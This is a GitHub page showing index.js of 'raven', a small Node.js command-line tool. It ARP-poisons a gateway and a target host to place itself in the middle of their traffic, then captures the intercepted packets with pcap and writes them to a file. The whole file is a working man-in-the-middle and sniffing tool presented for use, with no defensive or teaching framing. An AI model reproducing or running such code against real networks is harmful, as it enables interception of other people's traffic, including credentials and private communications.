-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.js
executable file
·56 lines (50 loc) · 1.31 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env node
// raven
// author Tristan Messner
const pcap = require("pcap2");
const arpjs = require("arpjs");
const fs = require("fs");
//check for all args
if(process.argv.length < 3 ){
console.log("usage raven <gateway> <target>");
process.exit(1);
}
//check if user is root
if(process.getuid() != 0 ){
console.log("run as root user not sudo");
}
function spoof(gateway,target){
//tell gateway that I am the target
arpjs.poison(gateway,target);
//tell target that I am gateway
arpjs.poison(target,gateway);
}
let timeout = setTimeout(function(){spoof(process.argv[2],process.argv[3]);},10000);
//empty var to use as session
var pcapSession;
// if statement evaulates
// need for filter when
// program is run
//
if(process.argv.indexOf("-t") != -1){
pcapSession = new pcap.Session("",{
filter: 'ip proto \\tcp'
});
}else{
pcapSession = new pcap.Session();
}
pcapSession.on('packet',function(rawPacket){
var packets_file = fs.createWriteStream("packets.txt",defaults = {
flags: 'w',
defaultEncoding: 'utf8',
fd: null,
mode: 0o666,
autoClose: true
});
packets_file.once('open',function(fd){
var packet_ = pcap.decode.packet(rawPacket);
packets_file.write(JSON.stringify(packet_));
packets_file.write('\n');
packets_file.end();
});
});